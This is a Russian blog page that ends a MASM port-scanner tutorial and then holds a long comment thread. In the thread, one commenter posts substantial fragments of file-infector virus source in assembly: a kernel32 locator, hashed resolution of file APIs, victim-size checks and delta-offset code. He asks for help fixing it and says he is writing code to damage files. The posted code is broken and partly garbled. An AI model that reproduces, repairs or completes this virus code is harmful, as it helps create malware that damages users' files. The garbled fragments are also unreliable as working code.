EnableControls PROC en :DWORD ;процедура, блокирующая ;или разблокирующая некоторые контролы на нашей форме ;в зависимости от параметра "en" либо блокируем, либо разблокируем ;некоторые кнопки и поля invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_IPADDR), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_PORTLOW), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_PORTHIGH), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_CLEANLOG), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, TEST_BTN), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, EXIT_BTN), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_TIMEOUT), en invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_OPENONLY), en xor en, 1 ;делаем отрицание, т.е., если en было 0, то станет 1, и наоборот invoke EnableWindow, FUNC(GetDlgItem, hWnd, IDC_STOP), en ret EnableControls ENDP end start |
Что такое xor? Это операция "исключающее или". Она несложная, подробнее можно прочитать ЗДЕСЬ.
Вот мы и разобрали весь исходный код по кусочкам. Надеюсь, что вы смогли дочитать до этого места и постарались все понять.
Если хочется как-то модифицировать сканер, улучшить его - попробуйте прикрутить многопоточность, и будете няшами :3
Все вопросы можно писать в комментариях, постараюсь на них ответить.
Но все таки, почему мы делаем Sleep(Timeout), а не задаем таймаут в функции select?
Опечатка в начале статьи: первый две ссылки указывают на одну и ту самую страницу.
А так статья норм, хотя не прочитал еще полностью. Спасибо большое!
Как вариант - можно указать и таймаут у select (tv_usec, в миллисекундах). В этом случае управление возвратится в программу либо по окончанию этого таймаута, либо, если возникнут какие-либо изменения в сокетах в переданных функции структурах (fds_r/fds_w/fds_e). Да, такой путь даже выгоднее, потому что в некоторых случаях функция select может отдать управление быстрее, чем заданный таймаут.
Опечатку сейчас поправлю, спасибо.
Слушай скинь мне пожалуйста компилятор ресурсов, для компиляции файла rc в res, заранее спасибо
Вот что за сообщение выдают батник при запуски из командной строки
http://s019.radikal.ru/i630/1204/b9/9ed13e3005af.jpg
С чем это может быть связано-?
Здравствуйте! А вы с Tube Toolbox больше не работаете?
Нет, а что?
Помнится, Вы нас обеспечивали dll-ками к нему, а теперь, с выходом новых версий, не знаем, что делать :(
В новых версиях необходимо ещё экзешник править, а делать это с каждым обновлением надоедает
Resed это редактор ресурсов, они ничего не компилирует а используется для подключения ресурсов, которые сохраняются в файле ресурсов, то есть в rc-файле а код сохраняется в текстовым редакторе с расширением asm. Компилируется и линкуется все bat-файлом, но для это rc-файл нужно преобразовать в res-файл.
Можете пожалуйста дать ссылку на рабочий компилятор ресурсов, ваш использовал, он не пашет
xor eax, eax
Всегда помещает в регистр eax 0? Почему тогда не используете
mov eax, 0
Есть какая то разница принципиальная? Просто для себя интересно.
XOR - операция "исключающее или" между двумя операндами, я говорил о ней в своих статьях. XOR, примененный к двум одинаковым числам, всегда даст ноль, это несложно понять, узнав, что же из себя представляет "исключающее или".
В сравнении с mov eax, 0:
xor eax, eax занимает в ассемблированном виде занимает на 3 байта меньше, чем mov eax, 0, и, насколько помню, выполняется на 1 такт процессора быстрее.
Все понятно, спасибо большое!
Поэтому в результате выполнения операции XOR будут разблокированы элементы панели управления, которые были заблакированы во время выполнения программы,они разблокируются после завершения выполнения потока вернув управления пользователю.
Я в бешенстве!! Все сделал, как в статье! Подключил файл с описанием всех констант и переменных, xp mainifest, использовал готовый rc-файл с описанием всех подключенных ресурсов.
Код сохранил как new.asm и закинул в одну папку с xp mainifest, new.rc, батником и скопировал в папку с проектом файл 64stub.exe для компиляции bat-файлом new.rc и new.asm, откомпилировать не получилось.
Выдает - http://s019.radikal.ru/i641/1204/74/2ed822139950.jpg
не может открыть asm. Просмотрел new.asm и new.rc они полностью идентичны. Что должно быть в new.asm-?
интересно, в наше время действительно кому-то важен 1 такт процессора и 2 байта инфы? Спрашиваю на полном серьезе. Или вы пишите чисто по привычке 90ых годов?
Вообще, понимание того, как все происходит на низком уровне (возврат значений, передача значений в функции, стековые фреймы, куча и т.д.) весьма помогает в программировании на языках высокого уровня.
Может ошибка здесь вед тут передается второй параметр-?
LINK /nologo %1.obj %1.res
rem этой первый параметри,компилирует все в exe а линкование, преоабразование в объеткный код второй параметр, который предается
LINK /nologo %2.obj %2.res
dx извини если достал тебя, но я почти закончил твой код, использовал готовый rc - файл ресурсов,если не получится отлинковать и откомпилировать, поможешь а то ты не многословный-?
Привет!У меня вопрос.Если я хочу создать несколько потоков, то я должен указать номер создаваемого потока, наример - CreateThread, 1, 10240, offset Check, 1,0,0,или организовать цикл-?
Номер потока указывать не обязательно, просто создавай сколько нужно потоков в цикле и все. Не забудь закрывать их хендлы, если они тебе больше не нужны.
ПАШЕТ БЫСТРЕЕ!!Действительно стоив увеличить многопоточность, быстродействие возрастает.Лучше чем один поток, тогда она притормаживала. Сейчас другое дело
dx, извии, но получается какая-то несуразица. Я имею ввиду неблокирующие сокеты. Смотри, вот твой код:
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++
invoke connect, sock, addr SocketAddress, sizeof sockaddr_in
invoke Sleep, timeout
mov fds_r.fd_count, 1
mov fds_w.fd_count, 1
mov fds_e.fd_count, 1
m2m fds_r.ssock, sock
m2m fds_w.ssock, sock
m2m fds_e.ssock, sock
invoke select, 0, addr fds_r, addr fds_w, addr fds_e, addr tv
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Так я что хочу сказать- ты когда вызываешь функцию connect, то, независимо от результата её работы, дальнейший ход программы НЕ ИЗМЕНИТСЯ. Функция connect АБСОЛЮТНО НЕ ВЛИЯЕТ на дальнейших ход программы. (А тогда зачем она?)
Смотри, пусть ты создал сокет (socket) и получил его дескриптор, пусть он равен 0X9C (как у меня). И этот дескриптор БЕЗУСЛОВНО попадёт вот сюда
(этот код идёт ПОСЛЕ connect)
//++++++++++++++++++++++++++++++++++++++++++++++++
m2m fds_r.ssock, sock ; тут будет всё тот же 0x9C!
m2m fds_w.ssock, sock ; и тут
m2m fds_e.ssock, sock ; и тут
//++++++++++++++++++++++++++++++++++++++++++++++++
connect не меняет это значение. Оно как было 0X9C, так и останется, независимо НИ ОТ ЧЕГО. Но, может быть, результаты connect будут видны в дальнейшем? Хорошо бы кабы так, да только следующая инструкция- вызов select (), вот ты пишешь:
//++++++++++++++++++++++++++++++++++++++++++++++++
select используется как раз в неблокирующем режиме, потому что позволяет приостановить выполнение до тех пор, пока статус какого-либо из указанных в структурах сокетов не изменится.
//++++++++++++++++++++++++++++++++++++++++++++++++
А он не изменится. Уже ничего не изменится. Не изменится содержание структур, поскольку им не с чего меняться- connect не принимает указатели на них, то есть какие данные примет select, такими они и останутся на протяжении всей её работы. Как я пытался тебя убедить, единственное, что может повлиять на их изменение это connect. А она просто не принимает их адреса в качестве параметров.
Надеюсь быть переубеждённым. Спасибо!
Я вызываю connect в неблокирующем режиме. Я не могу проверить возвращенное значение, так как режим неблокирующий. Поэтому я жду некоторое время (timeout) и после этого с помощью функции select проверяю, как выполнился вызов connect (успешно или нет). Тут можно было бы сделать оптимальнее, я уже не помню, зачем тут принудительный вызов Sleep, возможно, можно было сделать его через непосредственно select (последний параметр timeval)... В любом случае, этот код годится только для примера, так как select уже старая функция, на замену пришли IO completion ports и другие новые технологии.
Поэтому я жду некоторое время (timeout) и после этого с помощью функции select проверяю, как выполнился вызов connect (успешно или нет).
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ну ты же понимаешь, что это невозможно. У этих двух функций должно быть что-то - точнее говоря, ячейка(и) памяти или регистр (частный случай ячейки памяти), что могло бы быть изменённым одной функцией (connect) и проконтролировано другой (select). А у них нет ничего общего- только sock- которое может изменяться в connect как угодно- select примет его неизменённым, ибо передаётся оно по значению, но не по адресу...
Так что вот. Не знаю, почему ты не использовал блокирующие сокеты.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Но это всё лирика. А вот я спрашивал уже о том, как программно приконнектиться к отдалённому рабочему столу, протокол RDP. В гугле примеры исключительно на дельфи, но им сыт не будешь... Это типа пожелания, чо ли, вы же где-то спрашивали за пожелания!
Ты какой-то упоротый. Прочитай про неблокирующие сокеты. Прочитай еще раз внимательно статью, чтобы понять, что неблокирующие сокеты я использовал для ограничения исполнения функции connect. Функция connect имеет с другими сокетными функциями общий параметр socket, и именно его состояние она меняет. socket является хендлом, который может внутри библиотеки windows sockets указывать на структуру с 100500 полей.
А тебе ни о чемни говорит этот цикл-?
invoke __WSAFDIsSet, sock, addr fds_r
push eax
invoke __WSAFDIsSet, sock, addr fds_w
pop ebx
.if eax == 0 && ebx == 0
.if openonly == 0
invoke AddLog, portlow, 0
.endif
jmp __next
.endif
invoke __WSAFDIsSet, sock, addr fds_e
.if eax != 0
.if openonly == 0
invoke AddLog, portlow, 0
.endif
.else
invoke AddLog, portlow, 1
.endif
__next:
вызывается функция sleep, для того чтобы функции вроде connnect не блокировали программу и передает упраление select, которая работает в неблокирующим режиме,WSAFDLsSet выполняет проверку не присутствует ли сокет в fdr_e, если да. то вернул ошибку и не подключен. если нет идет проверка присутствует сокет в структуре fdr_w и fdr_r, то есть готов к чтению и записи и если все условия выполнены сокет подключен,управление передается программе- это цикл проверки условий
SELECT возвращает управление программе,как только имзенится начения в заданных структурах, функция connect имеет общий параметр с socket, так она и изменит его а хендл свой не трогает а работает со структурами fd_struct тип fdr_e fdr_w fdr_r, которые имеют произвольный размер, там и сохраняется информация о сокете
invoke __WSAFDIsSet, sock, addr fds_r
push eax
invoke __WSAFDIsSet, sock, addr fds_w
pop ebx
Здесь использует операция пересылки, информация о проверенном сокете fds_r сохраняется в регистре eax, далее идет проверка структуры fds_w и инфа о проверенных сокетах записывается в регистр ebx - адрессация из памяти в память не сущесвтует[mov memory1] [mov memory2], поэтому необходимо воспоьзоватся либо регистрои либо стеком
Далее идет проверка
.if eax == 0 && ebx == 0
.if openonly == 0
invoke AddLog, portlow, 0
.endif
jmp __next
.endif
Проверяется загружено ли начальное значение порта,если нет выйти из цикла , то есть сокет не загружен ни в fds_r ни в fds_w - не подключен
далее идет проверка структуры fds_e
invoke __WSAFDIsSet, sock, addr fds_e
.if eax != 0
.if openonly == 0
invoke AddLog, portlow, 0
.endif
.else
invoke AddLog, portlow, 1
.endif
__next:
Если сокет присутствует в структуре fds_e - значит вернул ошибку, то есть не подключен, товыйти из цикла.В случае если все эти условия не выполняются то сокет подключен.
**************************************************************************
В этом случае функция SELECT вернет управления программе и что здесь непонятного-?Откомплируй исходник и запусти, вс реаботает,скорость не устрайвает прикрути многопоточность
**************************************************************************
//++++++++++++++++++++++++++++++++++++++++++++++++++++++
Функция connect имеет с другими сокетными функциями общий параметр socket, и именно его состояние она меняет.
//++++++++++++++++++++++++++++++++++++++++++++++++++++++
Как она может менять его состояние если она не принимает на него указатель?
sock лежит по адресу 0Xcafebabe. Плюс ко всему это поле не принадлежит структуре SocketAddress, с которой connect работает.
Тем не менее каким-то образом connect знает, что по адресу 0Xcafebabe лежит sock и она по этому адресу его меняет. Гениально, чё...
Т.е. можно взять исходный код программы, выкинуть строку
invoke connect, sock, addr SocketAddress, sizeof sockaddr_in
скомпилировать и всё будет работать так же, как и с ней?
Ты не просто упорот, ты идиот.
Допустим, sock = 123 - это то, что лежит в твоей программе.
Ты вызываешь connect(sock, .....)
Функция connect приняла значение 123. У функции connect в общей памяти, которую для нее выделила библиотека ws2_32.dll, есть табличка соответствий вида:
[Хендл сокета] -> [Адрес структуры, содержащей инфу о сокете]
1 -> адрес, например, 0x70000012
2 -> адрес, например, 0x70000055
5 -> адрес, например, 0x70000099
20 -> адрес, например, 0x700000d1
55 -> адрес, например, 0x7000019f
123 -> адрес, например, 0x70000483
999 -> адрес, например, 0x70000999
100500 -> адрес, например, 0x70000fff
Функция connect ищет в этой табличке соответстующий адрес и находит: 0x70000483. А уж по этому адресу лежит полная структура, в которой лежит инфа о том, с какими параметрами сокет был создан, подключен ли он и если да, то куда, сколько ошибок произошло в этом сокете и еще куча всего. Функция connect манипулирует этими параметрами (читает и меняет их), не трогая твой хендл, потому что программисту, вызывающему функцию connect, необязательно знать, что там в кишках винсока. После вызова connect твой хендл так и останется 123, однако состояние сокета поменяется, и инфа об этом запишется в соответствующую структуру внутри ws2_32.dll.
А чё, сразу нельзя было объяснить?
Ты быдло, оказывается
Четкое определение термина "быдло" в студию. А также основные отличия в текущем контексте между этим термином и понятием "избирательная мизантропия".
dx, а можно по подробнее про IO completion ports - ?
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365198%28v=vs.85%29.aspx
dx, помоги не хочет компилироваться и все
386
.model flat, stdcall
pushz macro szText:VARARG
local nexti
call nexti
db szText, 0
nexti:
endm
includelib \masm32\lib\kernel.lib
.code
start:
; Получаем дельта-смещение
Call _Delta
_Delta:
sub dword ptr [esp], offset _Delta ; delta_off
push dword ptr [esp] ; [ebp+4*5]
_ReadSEH:
xor edx, edx
assume fs:flat
mov eax, fs:[edx] ; читаем элемент SEH
dec edx ; edx = -1
_SearchK32:
cmp [eax], edx ; встретили нужный?
je _CheckK32
mov eax, [eax] ; получаем следующее значение
jmp _SearchK32
_CheckK32:
mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в kernel32.dll
xor ax, ax ; выравниваем полученный адрес
_SearchMZ:
cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру
je _CheckMZ
sub eax, 10000h ; если не равна MZ, то ищем дальше
jmp _SearchMZ
_CheckMZ:
mov edx, [eax + 3Ch] ; переходим на PE заголовок
cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
jne _Exit
_SearchAPI:
mov esi, [eax + edx + 78h]
add esi, eax
add esi, 18h
xchg eax, ebx
lodsd ; получаем число указателей на имена
push eax ; [ebp+4*4]
lodsd ; получаем RVA таблицы экспорта
push eax ; [ebp+4*3]
lodsd ; получаем RVA таблицы указателей на имена
push eax ; [ebp+4*2]
add eax, ebx
push eax ; Указатель на таблицу имен [ebp+4*1]
lodsd ; получим RVA на таблицу ординалов
push eax ; [ebp]
mov edi, [esp+4*5] ; edi = дельта_смещение
lea edi, [edi+HashTable] ; edi указывает на начало HashTable
mov ebp, esp ; сохраняем базу стека
_BeginSearch:
mov ecx, [ebp+4*4] ; число имен функций
xor edx, edx ; здесь хранится порядковый номер функции (от 0)
_SearchAPIName:
mov esi, [ebp+4*1]
mov esi, [esi]
add esi, ebx ; адрес ASСII-имени очередной API-функции
; подсчет хэш-значения от имени функции
_GetHash:
xor eax, eax
push eax
_CalcHash:
ror eax,7
xor [esp],eax
lodsb
test al, al
jnz _CalcHash
pop eax
; хэш подсчитан
OkHash:
cmp eax, [edi] ; сверяем полученный hash с тем что в таблице HashTable
je _OkAPI ; переходим на вычисление адреса функции
add dword ptr [ebp+4*1], 4 ; сдвигаемся к другому элементу таблицы экспорта
inc edx
loop _SearchAPIName
jmp _Exit
; вычисляем адрес функции
_OkAPI:
shl edx, 1 ; номер функции
mov ecx, [ebp] ; берем указатель на таблицу ординалов
add ecx, ebx
add ecx, edx
mov ecx, [ecx]
and ecx, 0FFFFh
mov edx, [ebp+4*3] ; извлекаем RVA таблицы экспорта
add edx, ebx
shl ecx, 2
add edx, ecx
mov edx, [edx]
add edx, ebx
push edx ; сохраняем адрес найденной функции в стеке
cmp word ptr [edi+4], 0FFFFh ; Конец списка?
je _Call_API
add edi, 4 ; следующее hash-значение функции
_NextName:
mov ecx, [ebp+4*2] ; восстанавливаем начало таблицы экспорта
add ecx, ebx
mov [ebp+4*1], ecx ; Index в таблице имен
jmp short _BeginSearch
; Загружаем user32.dll
pushz "user32.dll"
call LoadLibrary
; Находим MessageBoxA
pushz "MessageBoxA"
push eax
call GetProcAddress
; Вызываем MessageBoxA
push 0
push 0
push 0
push 0
call eax
_Exit:
push 0
call ExitProcess
data:
delta_off equ [ebp+18h]
CloseHandle equ dword ptr [ebp-4*1]
FindFirstFileA equ dword ptr [ebp-4*2]
FindNextFileA equ dword ptr [ebp-4*3]
CreateFileA equ dword ptr [ebp-4*4]
ReadFile equ dword ptr [ebp-4*5]
GlobalAlloc equ dword ptr [ebp-4*6]
GetFileSize equ dword ptr [ebp-4*7]
SetFilePointer equ dword ptr [ebp-4*8]
WriteFile equ dword ptr [ebp-4*9]
GlobalFree equ dword ptr [ebp-4*10]
VirtualProtect equ dword ptr [ebp-4*11]
ExitProcess equ dword ptr [ebp-4*12]
GetProcAddress equ dword ptr [ebp-4*13]
LoadLibrary equ dword ptr [ebp-4*14]
FindClose equ dword ptr [ebp-4*15]
GetModuleFileNameA equ dword ptr [ebp-4*16]
SetCurrentDirectoryA equ dword ptr [ebp-4*17]
FreeLibrary equ dword ptr [ebp-4*18]
HashTable:
dd 0F867A91Eh ; CloseHandle
dd 03165E506h ; FindFirstFileA
dd 0CA920AD8h ; FindNextFileA
dd 0860B38BCh ; CreateFileA
dd 029C4EF46h ; ReadFile
dd 0CC17506Ch ; GlobalAlloc
dd 0AAC2523Eh ; GetFileSize
dd 07F3545C6h ; SetFilePointer
dd 0F67B91BAh ; WriteFile
dd 03FE8FED4h ; GlobalFree
dd 015F8EF80h ; VirtualProtect
dd 0D66358ECh ; ExitProcess
dd 05D7574B6h ; GetProcAddress
dd 071E40722h ; LoadLibraryA
dd 0E65B28ACh ; FindClose
dd 059B44650h ; GetModuleFileNameA
dd 00709DC94h ; SetCurrentDirectoryA
dd 0D64B001Eh ; FreeLibrary
dw 0FFFFh ; Признак конца таблицы
;--------------------------------------------------------------------
end start
извини за здоровенный код. Дельта смещение относительно спроецированного файла вычисленно правильно, адреса VA вычислены верно VA=VBA + база-по таблицам из kerehel32.
Столько времени потратил НА НЕГО!!
dx, я нашел оригинал кода, изучал механизы заражения,долго и упорно в нем разбирался,в вычислнии рамзера оператора jmp для записи инструкции по передаче управления , получение опкода и тд в образовательных целях,но где то срыта специфическая ошибка-
http://programmersforum.ru/showthread.php?t=210055&highlight=%CF%F0%EE%E3%F0%E0%EC%EC%E0
dx, я не прошу доработать его за меня, хотя бы подскажи где ошибка,все равно все ответсвенность несет создатель вируса
d_x в Вегасе, смысла что-то там спрашивать у него нет
В Вегасе ничего себе!!На конференции по компьютерным программам наверное. Ну ты наверное исходник видел,скажи гда там это чертова ошибка
Вряд ли, скорее будет пытаться поиграть, правда не знаю как, т.к. там только с 21 играть разрешается, хотя ходить можно свободно.
Я не разбираюсь в ассемблере
Да ладно,ты несколько статей написал по MASM - при компиляции этим батником
С:\masm32\bin\ml /nologo /c /coff main.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj
Выдает, чо ни может открыть main.asm,с чем это связано-?
Вот, ты знаешь чем это вызвано http://s019.radikal.ru/i627/1208/3e/1498050344f9.png
Какими-то ошибками в синтаксисе, у меня то таких ошибок не возникало
Такие же были и в предыдущей программе, видимо встроены специально,может нужно обяъвить прототипы функций и константы в начале кода-?
Может стоит у автора спросить? Не я её писал же
дельта смещенияя подправил, посмотри -
.386
.model flat, stdcall
option casemap:none
pushz macro szText:VARARG
local nexti
call nexti
db szText, 0
nexti:
endm
includelib \lib\kernel32.lib
ExitProcess PROTO :DWORD
.data
db 0
.code
invoke ExitProcess, 0
start:
сall VirDelta
VirDelta:
sub dword ptr [esp], OFFSET VirDelta
push dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке
; Читаем SEH
ReadSEH:
xor edx, edx ; edx = 0
assume fs:flat
mov eax, fs:[edx] ; читаем элемент SEH
dec edx ; edx = 0FFFFFFFFh
; Ищем элемент со значением 0FFFFFFFFh
SearchKernel32:
cmp [eax], edx ; сравниваем очередной с 0FFFFFFFFh
je CheckKernel32 ; прыгаем, если нашли
mov eax, [eax] ; получаем следующее значение
jmp SearchKernel32 ; если не нашли - ищем дальше
; Определяем адрес Kernel32
CheckKernel32:
mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в
xor ax, ax ; выравниваем полученный адрес
; Ищем сигнатуру MZ
SearchKernelMZ:
cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру MZ
je CheckKernelMZ
add delta_off ; сигнатура верна, переходим на
; проверку сигнатуры PE
sub eax, 10000h ; если не равна MZ, то ищем дальше
jmp SearchKernelMZ
; Проверяем сигнатуру PE
CheckKernelMZ:
mov edx, [eax + 3Ch] ; переходим на PE-заголовок
cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
jne _Exit ; неверная сигнатура, поэтому
; выходим
SearchAPI:
mov esi, [eax + edx + 78h]
add esi, eax
add esi, 18h
add esi, delta_off
xchg eax, ebx
lodsd ; получаем число указателей на имена
push eax ; [ebp+4*4]
lodsd ; получаем RVA таблицы экспорта
push eax ; [ebp+4*3]
lodsd ; получаем RVA таблицы указателей на
; имена
push eax ; [ebp+4*2]
add eax, ebx
push eax ; Указатель на таблицу имен
; [ebp+4*1]
lodsd ; получим RVA на таблицу ординалов
push eax ; [ebp]
mov edi, [esp+4*5] ; edi = дельта_смещение
lea edi, [edi+HashTable] ; edi указывает на начало HashTable
mov ebp, esp ; сохраняем базу стека
_BeginSearch:
mov ecx, [ebp+4*4] ; число имен функций
add delta_off
xor edx, edx ; здесь хранится порядковый номер
; функции (от 0)
_SearchAPIName:
mov esi, [ebp+4*1]
mov esi, [esi]
add esi, delta_off
add esi, ebx ; адрес ASСII-имени очередной API-
http://goo.gl/Jy7Wj
Kadmi переведи
Я ничего не понял в приведенном коде
Как ты же хакер-?
С каких пор? Я вообще предпочитаю писать исключительно на Perl
Иными словами фиг найти ошибку в синтаксисе, а то заработаю диисанонс, так придется весь код по строчкам анализировать,ну куда же они ее запихнули сволочи
Так мы там сначала адресс VA определяем - VA=VBA + база, база это смещение, того относительно куда спроецирован адрес системой,находим таблицу экспорта VRA - смещение 78h + 18h, это число имен функций, находим ordinal base- оределяем адресс функции,смещение - 10h и тп по таблице экспорта,создаем базу поиска kernel32,вычисляем хеш адресса искомой функции,далее сверяем метку MZ и 4-байта = 5A4Dh есди верно переходим к PE-загаловку,Cигнатура PE- 4550h
Нет дельта смещение я исключил, дело в синтаксисе
Но этот фрагмент кода верный
; Читаем SEH
ReadSEH:
xor edx, edx ; edx = 0
assume fs:flat
mov eax, fs:[edx] ; читаем элемент SEH
dec edx ; edx = 0FFFFFFFFh
; Ищем элемент со значением 0FFFFFFFFh
SearchKernel32:
cmp [eax], edx ; сравниваем очередной с 0FFFFFFFFh
je CheckKernel32 ; прыгаем, если нашли
mov eax, [eax] ; получаем следующее значение
jmp SearchKernel32 ; если не нашли - ищем дальше
; Определяем адрес Kernel32
CheckKernel32:
mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в
xor ax, ax ; выравниваем полученный адрес
; Ищем сигнатуру MZ
SearchKernelMZ:
cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру MZ
je CheckKernelMZ
; сигнатура верна, переходим на
; проверку сигнатуры PE
sub eax, 10000h ; если не равна MZ, то ищем дальше
jmp SearchKernelMZ
; Проверяем сигнатуру PE
CheckKernelMZ:
mov edx, [eax + 3Ch] ; переходим на PE-заголовок
cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
jne _Exit ; неверная сигнатура, поэтому
; выходим
SearchAPI:
mov esi, [eax + edx + 78h]
add esi, eax
add esi, 18h
xchg eax, ebx
lodsd ; получаем число указателей на имена
push eax ; [ebp+4*4]
lodsd ; получаем RVA таблицы экспорта
push eax ; [ebp+4*3]
lodsd ; получаем RVA таблицы указателей на
; имена
push eax ; [ebp+4*2]
add eax, ebx
push eax ; Указатель на таблицу имен
; [ebp+4*1]
lodsd ; получим RVA на таблицу ординалов
push eax ; [ebp]
mov edi, [esp+4*5] ; edi = дельта_смещение
lea edi, [edi+HashTable] ; edi указывает на начало HashTable
mov ebp, esp ; сохраняем базу стека
_BeginSearch:
mov ecx, [ebp+4*4] ; число имен функций
add delta_off
xor edx, edx ; здесь хранится порядковый номер
; функции (от 0)
_SearchAPIName:
mov esi, [ebp+4*1]
mov esi, [esi]
add esi, ebx ; адрес ASСII-имени очередной API-
; функции
; подсчет хэш-значения от имени функции
_GetHash:
xor eax, eax
push eax
_CalcHash:
ror eax, 7
xor [esp],eax
lodsb
test al, al
jnz _CalcHash
pop eax
Kadmi, вот модифицировал, чать кода и практически победил
; Загружаем user32.dll
pushz "user32.dll"
call LoadLibrary
push eax
; Находим MessageBoxA
pushz "MessageBoxA"
push eax
call GetProcAddress
call OpenProcess,PROCESS_ALL_ACCESS,1,PID
if(hProcess == NULL)
{
MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);
return FALSE;
}
.endif
Вот, что выдает компилятор - http://s45.radikal.ru/i109/1208/59/fbca12875c41.jpg
Но я все равно ничего не понимаю, вроде ассемблер, потом вообще какой-то кусок на С
Ахринел,что делать не фиг-?!!
Конечно
Тогда посоветуй, как вызывав функцию MessgeBooxA, передать ей неверные параметры,что бы она вернула ошибку в этом фрагменте кода
Наверное, например, с помощью invoke
Я просто пишу сам вредоносный код,управление которому должна передать программа и он должен выполнять. какието деструктивные действия,вредить файлам,можешь подкинуть пример
Неа, я таким не интересуюсь
вот такие ошибки выдает - http://i049.radikal.ru/1208/df/9acb7f757bc6.jpg
http://goo.gl/ZnpSu
у меня тоже про девок есть, своя работа - http://www.youtube.com/watch?v=LdqtOIUArio
Вот и занимайся ими, а на ассемблер забей
Все что за ошибка-?
dunno
Переведи я не слыхал про dunno, может это чт то с японского!!
http://translate.google.com/#en/ru/dunno
Ну вот в японцы записался. Я в google юзал и на сайте майкрософт, это проблема связана с компилятоами,а как решить, они не знают, также на форумах
ок, я тоже не знаю
Я ассемблер серьеозно изучаю,сотни статей проитал по masm32,сайты майкрофост,форумы а ты шутками отстреливаешся,наверняка ошибка тебе эта встречалась и решение знаешь
А я его как раз таки не изучаю и ни одной статьи по нему не прочел в общем-то.
Не говоря уже о том, что не занимался компиляцией чужого кода.
В этом чужом коде было много ошибок, которе я нашел,логических они были введены специальной,я тебе показывал 25 синтаксических ошибок, и я доработал сам код внеся изменения
Ну а причем тут я то? На ассемблере можно сказать не пишу, в чужом коде на этом языке не копался, ошибок таких не встречал.
Так например был установлен в 0 CheckVictimSize equ,0 - проверка размера файла отключены,в результате не выполнялось условие.
mov ebx, CheckVictimSize
.IF ebx && eax > MaxVictimSize
; Размер не подходит. Пропускаем файл
jmp _FindNextFileA
.ENDIF
и это приводило к ошибке при проверке рамзера и получние
рамзера файла жерты.
Я снял ограничения на запись в директории,добавил и откорректировал дельта смещения. В коде дофига ошибок было,исправил,проссматривая каждую строку кода и анализируя ошибки выдаваемые компилятором и вот 4-е ошибки,но ошибка A2154 - полная задница
Ладно пойду google поюзаю хрошенько, может кто то и знает
Kalmi dx вернулся-?Я по поводу той ошибки
Он же пишет, что вернулся, значит вернулся
Вот что выдал коспилятор - http://s017.radikal.ru/i408/1209/8c/576441207d4e.jpg
Компилятор - извеняюсь - http://s017.radikal.ru/i408/1209/8c/576441207d4e.jpg
Но я исправил
Call_API:
cmp word ptr [edi+4],0FFFFh
push edi
je Call_API
add edi, 4
И он выдал - http://s019.radikal.ru/i620/1209/00/563f95c76f2a.jpg
Он в курсе что за чертова ошибка A-2154-?
Эта ошибка возникает, когда флудишь в чужих блогах, а самому подумать лень. И еще когда не знаешь синтаксис MASM32 и пишешь .if без .endif, например, или что-то в этом духе.
dx, все испробовал, как победить
cmp word ptr [edi+4],0FFFFh ; Конец списка?
je Call_API
add edi, 4
Не может распознать символ Call_API -?
Понятное дело так:
Call_API:
push edi
cmp word ptr [edi+4],0FFFFh
je Call_API
add edi, 4
Можно Call_API объявить отдельно в начале кода-?
dx, помоги объявил структуры на masm, что не так-?
fd_structur STRUCT
fd_VirtualAddress dd ?
fd_isize dd ?
fd_struct ENDS
fd_struct STRUCT
fd_Magic dw ?
fd_MajorLinkerVersion db ?
fd_MinorLinkerVersion db ?
fd_SizeOfCode dd ?
fd_SizeOfInitializedData dd ?
fd_SizeOfUninitializedData dd ?
fd_AddressOfEntryPoint dd ?
fd_BaseOfCode dd ?
fd_BaseOfData dd ?
fd_ImageBase dd ?
fd_SectionAlignment dd ?
fd_FileAlignment dd ?
fd_MajorOperatingSystemVersion dw ?
fd_MinorOperatingSystemVersion dw ?
fd_MajorImageVersion dw ?
fd_MinorImageVersion dw ?
fd_MajorSubsystemVersion dw ?
fd_MinorSubsystemVersion dw ?
fd_Win32VersionValue dd ?
fd_SizeOfImage dd ?
fd_SizeOfHeaders dd ?
fd_CheckSum dd ?
fd_Subsystem dw ?
fd_DllCharacteristics dw ?
fd_SizeOfStackReserve dd ?
fd_SizeOfStackCommit dd ?
fd_SizeOfHeapReserve dd ?
fd_SizeOfHeapCommit dd ?
fd_LoaderFlags dd ?
fd_NumberOfDirectories dd ?
fd_DataDirectory IMAGE_DATA_DIRECTORY
fd_Directories rb IMAGE_DATA_DIRECTORY*15
fd_struct ENDS
Синтаксис соблюден
Я нашел где ошибка, неверно задан параметр переменной:
MaxVictimSize equ 35 * 1024 - устанавливает ограничения на размер файла.
CheckVictimSize equ
MaxVictimSize equ 35 * 1024
Ели установить CheckVictimSize equ 1 - включение проверки разера
выдает кучу ошибок, как подправить-?
Ага, нашел, после того, как на васме подсказали...
НЕТ!!НЕ ПОДСКАЗЫВАЛИ!Я ЕЕ ЕЩЕ НЕДЕЛЮ НАЗАД НАШЕЛ И ДОПЕР!ВРЕШЬ!
Нет, ты спросил на васме и тебе подсказали.
Можно объявлять секцию данных, если файловый инфектор написанный в базонезависимом коде,корректируется по дельта смещению и таким образом мы имеем VA адреса секции экспорта, то есть VA=RVA + база - реальные адреса, к которым может обратится программа во втором поколении с корректировкой по delta_off-?
